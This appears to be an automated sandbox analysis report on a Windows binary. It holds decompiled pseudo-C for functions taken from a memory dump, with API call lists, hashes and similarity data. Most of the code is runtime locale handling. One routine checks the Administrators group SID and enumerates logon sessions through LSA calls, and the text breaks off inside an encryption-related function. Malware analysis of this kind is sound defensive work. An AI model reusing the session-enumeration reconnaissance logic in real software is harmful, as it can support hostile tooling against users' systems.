0x0012956b
0x0012956e
0x0012956e
0x0012956e
0x00129572
0x00129574
0x00129577
0x00000000
0x00000000
0x00129577
0x00000000
0x00129579
0x00129579
0x00129579
0x0012957e
0x00129584
0x00129587
0x0012958d
0x0012958d
0x0012958f
0x001295b0
0x00000000
0x00000000
0x00000000
0x001295b7
0x001295bd
0x00000000
0x00129591
0x00129591
0x00129593
0x0012959d
0x0012959d
0x001295a0
0x00129595
0x00129595
0x00129595
0x00129598
0x00129598
0x001295a3
0x001295a3
0x001295ab
0x00000000
0x001294ce
0x001294ce
0x001294ce
0x001294d8
0x001294e1
0x001294e6
0x001294f4
0x001294f4
0x001294cc
0x001281d5
0x00000000

APIs

__floor_pentium4.LIBCMT ref: 001282AC

Part of subcall function 00115B00: __aulldvrm.LIBCMT ref: 00115BF9
Part of subcall function 00115B00: __aulldvrm.LIBCMT ref: 00115DC9

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Strings

1#SNAN, xrefs: 001294AB
1#IND, xrefs: 001294A4
1#INF, xrefs: 001294B9
1#QNAN, xrefs: 001294B2

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessProcessor__aulldvrm$CurrentTerminate___raise_securityfailure__floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 2719626002-2761157908
Opcode ID: d7b13471d63ac1c11c73a7c0f2815cd6c9d97ab8ca86e91da6ef8fdc3525660c
Instruction ID: 0f8df6d778aca70586f2d1e7e9277b2e2d5f5a810ca61fb975479e808b84bfcc
Opcode Fuzzy Hash: d7b13471d63ac1c11c73a7c0f2815cd6c9d97ab8ca86e91da6ef8fdc3525660c
Instruction Fuzzy Hash: 73C24A71E096398FDB29DE28ED447EAB3B5EB44304F1541EAD84DE7240EB74AE918F40

Uniqueness

Uniqueness Score: 0.98%

Function 0012719B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0012719B(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					_t12 = _a8 + 8; // 0xfde8fe81
					if(GetLocaleInfoW( *_t12, 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = 0x14d548;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = 0x14d550;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0011C29C(_t23, _t23);
									goto L25;
								}
								_t8 = _a8 + 8; // 0xfde8fe81
								if(GetLocaleInfoW( *_t8, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x001271a0
0x001271a1
0x001271a8
0x0012724c
0x0012725a
0x00127265
0x0012726b
0x00127270
0x00127272
0x00127272
0x00127278
0x0012727d
0x0012727d
0x00127267
0x00127267
0x00000000
0x00127267
0x001271ae
0x001271b3
0x00000000
0x00000000
0x001271b9
0x001271be
0x001271c0
0x001271c0
0x001271c6
0x00000000
0x00000000
0x001271cb
0x001271e2
0x001271e2
0x001271eb
0x001271ed
0x00000000
0x00000000
0x001271ef
0x001271f4
0x001271f6
0x001271f6
0x001271fc
0x00000000
0x00000000
0x00127201
0x0012721f
0x00127221
0x00127244
0x00000000
0x00127249
0x00127231
0x0012723c
0x00000000
0x00000000
0x0012723e
0x00000000
0x0012723e
0x00127203
0x0012720b
0x00000000
0x00000000
0x0012720d
0x00127210
0x00127216
0x00000000
0x00000000
0x00000000
0x00127218
0x0012721a
0x0012721c
0x00000000
0x0012721c
0x001271cd
0x001271d5
0x00000000
0x00000000
0x001271d7
0x001271da
0x001271e0
0x00000000
0x00000000
0x00000000
0x001271e0
0x001271e6
0x001271e8
0x00000000

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,001274BA,?,00000000), ref: 00127234
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,001274BA,?,00000000), ref: 0012725D
GetACP.KERNEL32(?,?,001274BA,?,00000000), ref: 00127272

Strings

ACP, xrefs: 001271B9
OCP, xrefs: 001271EF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4210debf2c60964fa1ae32764a2b12824c8bf74c88d07133fad4e5816bc94d92
Instruction ID: e74b6e317bf3e84629f6ef9f20ec52161a45a26d187b500170e05734b66e1b7b
Opcode Fuzzy Hash: 4210debf2c60964fa1ae32764a2b12824c8bf74c88d07133fad4e5816bc94d92
Instruction Fuzzy Hash: 04219022649120EBDB388F64F901AA7B3B6FF64B50B568524F909D7291E732DE60C350

Uniqueness

Uniqueness Score: 0.08%

Function 0012736F, Relevance: 7.7, APIs: 5, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0012736F(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed int* _v24;
				short* _v28;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed int* _t46;
				signed int _t47;
				short* _t48;
				int _t49;
				short* _t56;
				short* _t57;
				short* _t58;
				int _t66;
				int _t68;
				short* _t72;
				intOrPtr _t75;
				void* _t77;
				short* _t78;
				intOrPtr _t85;
				short* _t89;
				short* _t92;
				void* _t94;
				short** _t102;
				short* _t103;
				signed int _t105;
				signed short _t108;
				signed int _t109;
				void* _t110;

				_t39 =  *0x16f170; // 0xd529e887
				_v8 = _t39 ^ _t109;
				_t89 = _a12;
				_t105 = _a4;
				_v28 = _a8;
				_v24 = E0011E008(_t89, __ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E0011E008(_t89, __ecx, __edx);
				_t99 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t92 = _t105 + 0x80;
				_t46 = _v24;
				 *_t46 = _t105;
				_t102 =  &(_t46[1]);
				 *_t102 = _t92;
				if(_t92 != 0 &&  *_t92 != 0) {
					_t85 =  *0x14d544; // 0x17
					E00127312(0, 0x14d430, _t85 - 1, _t102);
					_t46 = _v24;
					_t110 = _t110 + 0xc;
					_t99 = 0;
				}
				_v20 = _t99;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t99) {
					_t48 =  *_t102;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t99;
					if( *_t48 == _t99) {
						goto L19;
					}
					E00126CAF(_t92, _t99,  &_v20);
					_pop(_t92);
					goto L20;
				} else {
					_t72 =  *_t102;
					if(_t72 == 0 ||  *_t72 == _t99) {
						E00126D95(_t92, _t99,  &_v20);
					} else {
						E00126CFA(_t92, _t99,  &_v20);
					}
					_pop(_t92);
					if(_v20 != 0) {
						_t103 = 0;
						__eflags = 0;
						goto L25;
					} else {
						_t75 =  *0x14d42c; // 0x41
						_t77 = E00127312(_t99, 0x14d120, _t75 - 1, _v24);
						_t110 = _t110 + 0xc;
						if(_t77 == 0) {
							L20:
							_t103 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t108 = E0012719B(_t92,  ~_t105 & _t105 + 0x00000100,  &_v20);
								_pop(_t94);
								__eflags = _t108;
								if(_t108 == 0) {
									goto L22;
								}
								__eflags = _t108 - 0xfde8;
								if(_t108 == 0xfde8) {
									goto L22;
								}
								__eflags = _t108 - 0xfde9;
								if(_t108 == 0xfde9) {
									goto L22;
								}
								_t56 = IsValidCodePage(_t108 & 0x0000ffff);
								__eflags = _t56;
								if(_t56 == 0) {
									goto L22;
								}
								_t57 = IsValidLocale(_v16, 1);
								__eflags = _t57;
								if(_t57 == 0) {
									goto L22;
								}
								_t58 = _v28;
								__eflags = _t58;
								if(__eflags != 0) {
									 *_t58 = _t108;
								}
								E0011F5E0(_t89, _t94, _t99, _t103, _t108, __eflags, _v16,  &(_v24[0x94]), 0x55, _t103);
								__eflags = _t89;
								if(__eflags == 0) {
									L36:
									L23:
									return E000ECED8(_v8 ^ _t109);
								}
								_t33 =  &(_t89[0x90]); // 0x11a4d6
								E0011F5E0(_t89, _t94, _t99, _t103, _t108, __eflags, _v16, _t33, 0x55, _t103);
								_t66 = GetLocaleInfoW(_v16, 0x1001, _t89, 0x40);
								__eflags = _t66;
								if(_t66 == 0) {
									goto L22;
								}
								_t36 =  &(_t89[0x40]); // 0x11a436
								_t68 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
								__eflags = _t68;
								if(_t68 == 0) {
									goto L22;
								}
								_t38 =  &(_t89[0x80]); // 0x11a4b6
								E0012B101(_t38, _t108, _t38, 0x10, 0xa);
								goto L36;
							}
							L22:
							goto L23;
						}
						_t78 =  *_t102;
						_t103 = 0;
						if(_t78 == 0 ||  *_t78 == 0) {
							E00126D95(_t92, _t99,  &_v20);
						} else {
							E00126CFA(_t92, _t99,  &_v20);
						}
						_pop(_t92);
						goto L21;
					}
				}
			}

0x00127377
0x0012737e
0x00127385
0x00127389
0x0012738d
0x0012739b
0x001273a0
0x001273a1
0x001273a2
0x001273a3
0x001273ab
0x001273ad
0x001273b3
0x001273b9
0x001273bc
0x001273be
0x001273c1
0x001273c5
0x001273cc
0x001273d9
0x001273de
0x001273e1
0x001273e4
0x001273e4
0x001273e6
0x001273e9
0x001273ed
0x0012745d
0x0012745f
0x00127461
0x00127474
0x00127474
0x0012747b
0x00127481
0x00127484
0x00000000
0x00127484
0x00127463
0x00127466
0x00000000
0x00000000
0x0012746c
0x00127471
0x00000000
0x001273f4
0x001273f4
0x001273f8
0x0012740e
0x001273ff
0x00127403
0x00127403
0x00127417
0x00127418
0x001274a2
0x001274a2
0x00000000
0x0012741e
0x0012741e
0x0012742d
0x00127432
0x00127437
0x00127487
0x00127487
0x00127487
0x00127489
0x0012748d
0x001274a4
0x001274b0
0x001274ba
0x001274bd
0x001274be
0x001274c0
0x00000000
0x00000000
0x001274c2
0x001274c8
0x00000000
0x00000000
0x001274ca
0x001274d0
0x00000000
0x00000000
0x001274d6
0x001274dc
0x001274de
0x00000000
0x00000000
0x001274e5
0x001274eb
0x001274ed
0x00000000
0x00000000
0x001274ef
0x001274f2
0x001274f4
0x001274f6
0x001274f6
0x00127507
0x0012750c
0x0012750e
0x0012756e
0x00127491
0x001274a1
0x001274a1
0x00127513
0x0012751d
0x0012752d
0x00127533
0x00127535
0x00000000
0x00000000
0x0012753d
0x0012754c
0x00127552
0x00127554
0x00000000
0x00000000
0x0012755e
0x00127566
0x00000000
0x0012756b
0x0012748f
0x00000000
0x0012748f
0x00127439
0x0012743b
0x0012743f
0x00127455
0x00127446
0x0012744a
0x0012744a
0x0012745a
0x00000000
0x0012745a
0x00127418

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

Part of subcall function 00126D95: EnumSystemLocalesW.KERNEL32(00127072,00000001,001522A0,?,0011A3B6,?,00127413,0011A3B6,?,?,?,?,?,0011A3B6,?,?), ref: 00126DE1

Part of subcall function 00126CFA: EnumSystemLocalesW.KERNEL32(00126E22,00000001,00000000,?,0011A3B6,?,0012744F,00000000,?,?,?), ref: 00126D6C

GetLocaleInfoW.KERNEL32(?,00001002,0011A436,00000040), ref: 0012754C

Part of subcall function 00126CAF: EnumSystemLocalesW.KERNEL32(00126C06,00000001,001522A0,?,?,00127471,0011A3B6,?,?,?,?,?,0011A3B6,?,?,?), ref: 00126CE6

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0012747B

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0012719B: GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,001274BA,?,00000000), ref: 00127234
Part of subcall function 0012719B: GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,001274BA,?,00000000), ref: 0012725D
Part of subcall function 0012719B: GetACP.KERNEL32(?,?,001274BA,?,00000000), ref: 00127272

IsValidCodePage.KERNEL32(00000000), ref: 001274D6
IsValidLocale.KERNEL32(?,00000001), ref: 001274E5
GetLocaleInfoW.KERNEL32(?,00001001,0011A3B6,00000040,?,0011A4D6,00000055,00000000,?,?,00000055,00000000), ref: 0012752D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Locale$Info$EnumErrorLastLocalesSystem$Valid_free$CodeDefaultFeaturePagePresentProcessorUser___raise_securityfailure_abort
String ID:
API String ID: 2667258555-0
Opcode ID: 49912da0d57d70def9c2653caad319789289ee872bfd95219b7acf741214235f
Instruction ID: a87701a9bbc9c61f50859edc86cdac7d5d2db86c9ff8d6a29fd501dd2bc175b9
Opcode Fuzzy Hash: 49912da0d57d70def9c2653caad319789289ee872bfd95219b7acf741214235f
Instruction Fuzzy Hash: A951A372A042699FDF14EFA5EC45ABFBBB8BF14700F040529E954EB1D0E7709960CB61

Uniqueness

Uniqueness Score: 0.23%

Function 00095690, Relevance: 7.7, APIs: 5, Instructions: 185
memoryUNIQUE

Download Yara Rule

C-Code - Quality: 47%

			E00095690(void* __ebx, signed int __edx) {
				WCHAR* _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				short _v28;
				struct _SID_IDENTIFIER_AUTHORITY _v32;
				signed int _v36;
				WCHAR* _v40;
				char _v56;
				char _v57;
				long _v64;
				long _v68;
				void* _v72;
				union _SID_NAME_USE _v76;
				short* _v80;
				WCHAR* _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				WCHAR* _v96;
				intOrPtr _v100;
				WCHAR* _v108;
				WCHAR* _v136;
				char _v144;
				WCHAR* _v152;
				WCHAR* _v156;
				WCHAR* _v160;
				WCHAR** _v164;
				void* __edi;
				void* __ebp;
				signed int _t79;
				signed int _t80;
				WCHAR* _t103;
				signed int _t109;
				WCHAR** _t113;
				intOrPtr _t118;
				short* _t120;
				WCHAR* _t124;
				void* _t131;
				intOrPtr _t134;
				void* _t142;
				intOrPtr* _t144;
				signed int _t153;
				WCHAR* _t156;
				signed int _t160;
				intOrPtr _t162;
				signed int _t164;
				void* _t165;
				WCHAR* _t167;
				signed int _t169;
				WCHAR* _t172;
				WCHAR** _t173;
				signed int _t175;
				void* _t177;
				signed int _t178;

				_t164 = __edx;
				_t142 = __ebx;
				_push(0xffffffff);
				_push(0x1314c9);
				_push( *[fs:0x0]);
				_t178 = _t177 - 0x5c;
				_t79 =  *0x16f170; // 0xd529e887
				_t80 = _t79 ^ _t175;
				_v24 = _t80;
				_push(_t165);
				_push(_t80);
				 *[fs:0x0] =  &_v16;
				_v84 = 0;
				_v80 = 0x17a6d0;
				 *0x17a6e0 = 0;
				 *0x17a6e4 = 7;
				 *0x17a6d0 = 0;
				_v8 = 0;
				_v32.Value = 0;
				_v84 = 1;
				_v28 = 0x500;
				if(AllocateAndInitializeSid( &_v32, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v72) == 0) {
					L19:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v24 ^ _t175);
				} else {
					_v76 = 2;
					_v68 = 0;
					_v64 = 0;
					if(LookupAccountSidW(0, _v72, 0,  &_v68, 0,  &_v64,  &_v76) != 0 || GetLastError() != 0x7a) {
						L18:
						FreeSid(_v72);
						goto L19;
					} else {
						_push( &_v57);
						E000959C0( &_v96, _t165, _v68);
						_v8 = 1;
						_push( &_v57);
						E000959C0( &_v108, _t165, _v64);
						_v8 = 2;
						_t167 = _v108;
						_t172 = _v96;
						if(LookupAccountSidW(0, _v72, _t172,  &_v68, _t167,  &_v64,  &_v76) == 0) {
							L10:
							if(_t167 == 0) {
								L14:
								if(_t172 == 0) {
									goto L18;
								} else {
									_t103 = _t172;
									_t153 = _v88 - _t172 & 0xfffffffe;
									if(_t153 < 0x1000) {
										L17:
										_push(_t153);
										E000ED2D0(_t172);
										goto L18;
									} else {
										_t172 =  *(_t172 - 4);
										_t153 = _t153 + 0x23;
										if(_t103 - _t172 + 0xfffffffc > 0x1f) {
											goto L22;
										} else {
											goto L17;
										}
									}
								}
							} else {
								_t124 = _t167;
								_t160 = _v100 - _t167 & 0xfffffffe;
								if(_t160 < 0x1000) {
									L13:
									_push(_t160);
									E000ED2D0(_t167);
									_t178 = _t178 + 8;
									goto L14;
								} else {
									_t167 =  *(_t167 - 4);
									_t153 = _t160 + 0x23;
									if(_t124 - _t167 + 0xfffffffc > 0x1f) {
										goto L21;
									} else {
										goto L13;
									}
								}
							}
						} else {
							_v40 = 0;
							_v56 = 0;
							_t131 = _v92 + 0xfffffffe;
							_v36 = 7;
							if(_t172 != _t131) {
								_push(_t131 - _t172 >> 1);
								E00068410(__ebx,  &_v56, _t164, _t172);
							}
							E000645C0(0x17a6d0,  &_v56);
							_t164 = _v36;
							if(_t164 < 8) {
								goto L10;
							} else {
								_t162 = _v56;
								_t164 = 2 + _t164 * 2;
								_t134 = _t162;
								if(_t164 < 0x1000) {
									L9:
									_push(_t164);
									E000ED2D0(_t162);
									_t178 = _t178 + 8;
									goto L10;
								} else {
									_t153 =  *(_t162 - 4);
									_t164 = _t164 + 0x23;
									if(_t134 - _t153 + 0xfffffffc > 0x1f) {
										E0010F44B(_t142, _t153, _t164, _t167, __eflags);
										L21:
										E0010F44B(_t142, _t153, _t164, _t167, __eflags);
										L22:
										E0010F44B(_t142, _t153, _t164, _t167, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t109 =  *0x16f170; // 0xd529e887
										 *[fs:0x0] =  &_v144;
										_t173 = _t153;
										_v164 = _t173;
										_v160 = 0;
										 *_t173 = 0;
										_t173[1] = 0;
										_t173[2] = 0;
										_v136 = 0;
										_t113 =  &_v152;
										_v160 = 1;
										_v152 = 0;
										_v156 = 0;
										__imp__LsaEnumerateLogonSessions(_t113,  &_v156, _t109 ^ _t178, _t167, _t172, _t142,  *[fs:0x0], 0x131509, 0xffffffff, _t175);
										__eflags = _t113;
										if(_t113 == 0) {
											_t144 = __imp__LsaFreeReturnBuffer;
											_t169 = 0;
											__eflags = _v28;
											if(_v28 > 0) {
												do {
													_v24 = 0;
													_t118 = _v32.Value + _t169 * 8;
													__imp__LsaGetLogonSessionData(_t118,  &_v24);
													__eflags = _t118;
													if(_t118 == 0) {
														_t156 = _t173[1];
														_t120 = _v24 + 0x28;
														__eflags = _t173[2] - _t156;
														if(_t173[2] == _t156) {
															_push(_t120);
															_push(_t156);
															E00095E30(_t173);
														} else {
															 *_t156 =  *_t120;
															_t173[1] =  &(_t173[1][2]);
														}
														 *_t144(_v24);
													}
													_t169 = 1 + _t169;
													__eflags = _t169 - _v28;
												} while (_t169 < _v28);
											}
											 *_t144(_v32.Value);
										}
										 *[fs:0x0] = _v20;
										return _t173;
									} else {
										goto L9;
									}
								}
							}
						}
					}
				}
			}

0x00095690
0x00095690
0x00095693
0x00095695
0x000956a0
0x000956a1
0x000956a4
0x000956a9
0x000956ab
0x000956af
0x000956b0
0x000956b4
0x000956c2
0x000956c9
0x000956d0
0x000956da
0x000956e4
0x000956ea
0x000956ed
0x0009570c
0x00095714
0x00095722
0x00095898
0x000958a0
0x000958b7
0x00095728
0x0009572b
0x00095736
0x00095743
0x0009575a
0x0009588f
0x00095892
0x00000000
0x0009576f
0x00095772
0x00095779
0x00095781
0x00095788
0x0009578f
0x00095797
0x0009579b
0x0009579e
0x000957b9
0x0009582f
0x00095831
0x0009585f
0x00095861
0x00000000
0x00095863
0x00095866
0x0009586a
0x00095873
0x00095885
0x00095885
0x00095887
0x00000000
0x00095875
0x00095875
0x00095878
0x00095883
0x00000000
0x00000000
0x00000000
0x00000000
0x00095883
0x00095873
0x00095833
0x00095836
0x0009583a
0x00095843
0x00095855
0x00095855
0x00095857
0x0009585c
0x00000000
0x00095845
0x00095845
0x00095848
0x00095853
0x00000000
0x00000000
0x00000000
0x00000000
0x00095853
0x00095843
0x000957bb
0x000957bd
0x000957c4
0x000957cb
0x000957ce
0x000957d7
0x000957e0
0x000957e2
0x000957e2
0x000957f0
0x000957f5
0x000957fb
0x00000000
0x000957fd
0x000957fd
0x00095800
0x00095807
0x0009580f
0x00095825
0x00095825
0x00095827
0x0009582c
0x00000000
0x00095811
0x00095811
0x00095814
0x0009581f
0x000958ba
0x000958bf
0x000958bf
0x000958c4
0x000958c4
0x000958c9
0x000958ca
0x000958cb
0x000958cc
0x000958cd
0x000958ce
0x000958cf
0x000958e7
0x000958f2
0x000958f8
0x000958fa
0x000958fd
0x00095904
0x0009590a
0x00095911
0x0009591b
0x00095923
0x00095926
0x0009592e
0x00095935
0x0009593c
0x00095942
0x00095944
0x00095946
0x0009594c
0x0009594e
0x00095951
0x00095953
0x00095956
0x00095961
0x00095965
0x0009596b
0x0009596d
0x00095972
0x00095975
0x00095978
0x0009597b
0x00095987
0x00095988
0x0009598b
0x0009597d
0x0009597f
0x00095981
0x00095981
0x00095993
0x00095993
0x00095995
0x00095996
0x00095996
0x00095953
0x0009599e
0x0009599e
0x000959a5
0x000959b3
0x00000000
0x00000000
0x00000000
0x0009581f
0x0009580f
0x000957fb
0x000957b9
0x0009575a

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,D529E887,00000000,?), ref: 0009571A
LookupAccountSidW.ADVAPI32(00000000,?,00000000,00000000,00000000,?,?), ref: 00095752
GetLastError.KERNEL32 ref: 00095760
LookupAccountSidW.ADVAPI32(00000000,?,?,00000000,?,00000000,00000002), ref: 000957B1
FreeSid.ADVAPI32(?), ref: 00095892

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AccountLookup$AllocateErrorFeatureFreeInitializeLastPresentProcessor___raise_securityfailure
String ID:
API String ID: 1724800403-0
Opcode ID: 8ed5a4a8aa7ba5c85399e8f18083a289d33eb7e53805228398dc9d0f4b109622
Instruction ID: 964f9e00dad8f84c80eadcb75c2090b73ff9ed54aeff5d23874624792f41e4eb
Opcode Fuzzy Hash: 8ed5a4a8aa7ba5c85399e8f18083a289d33eb7e53805228398dc9d0f4b109622
Instruction Fuzzy Hash: 7151DC71900208ABEF14DFA4DC49BEEBBB9EF44311F100219F916F7291EB74AA44CB91

Uniqueness

Uniqueness Score: 100.00%

Function 000CA3B0, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 253
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 76%

			E000CA3B0(void* __ebx, int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				int _v24;
				int _v28;
				char _v44;
				int _v48;
				int _v52;
				char _v68;
				int _v72;
				int _v76;
				char _v92;
				intOrPtr _v96;
				char _v116;
				intOrPtr _v120;
				void* _v140;
				int _v144;
				intOrPtr* _v148;
				int _v152;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t86;
				intOrPtr* _t92;
				char* _t94;
				char* _t95;
				char* _t98;
				intOrPtr* _t103;
				long* _t108;
				intOrPtr _t110;
				intOrPtr _t115;
				intOrPtr _t120;
				intOrPtr _t125;
				intOrPtr _t138;
				intOrPtr _t142;
				intOrPtr* _t149;
				intOrPtr _t150;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr _t153;
				void* _t155;
				int _t156;
				intOrPtr _t157;
				int _t158;
				int _t159;
				int _t160;
				intOrPtr _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				void* _t165;
				void* _t166;
				intOrPtr* _t168;
				intOrPtr* _t171;
				signed int _t176;
				void* _t178;

				_t155 = __edx;
				_t134 = __ebx;
				_t174 = _t176;
				_push(0xffffffff);
				_push(0x135fcd);
				_push( *[fs:0x0]);
				_t80 =  *0x16f170; // 0xd529e887
				_t81 = _t80 ^ _t176;
				_v20 = _t81;
				_push(__esi);
				_push(_t81);
				 *[fs:0x0] =  &_v16;
				_t168 = __ecx;
				_v144 = __ecx;
				_v152 = __ecx;
				_v148 = _a4;
				_v144 = 0;
				_t86 = E000AD820(__ebx, _t155,  &_v140, GetLastError(), 0x10);
				_t178 = _t176 - 0x88 + 0xc;
				_t171 = _t86;
				_v8 = 1;
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				_v144 = 1;
				E000686E0( &_v68, _t171,  *((intOrPtr*)(_v148 + 0x10)) + 8);
				E00068D20( &_v68, _t171, "OS_Rng: ", 8);
				_t92 = _v148;
				_t138 =  *((intOrPtr*)(_t92 + 0x10));
				if( *((intOrPtr*)(_t92 + 0x14)) >= 0x10) {
					_t92 =  *_t92;
				}
				E00068D20( &_v68, _t171, _t92, _t138);
				_t94 = E00068D20( &_v68, _t171, " operation failed with error ", 0x1d);
				_v76 = 0;
				_v72 = 0;
				_v144 = 3;
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x58], xmm0");
				asm("movq xmm0, [eax+0x10]");
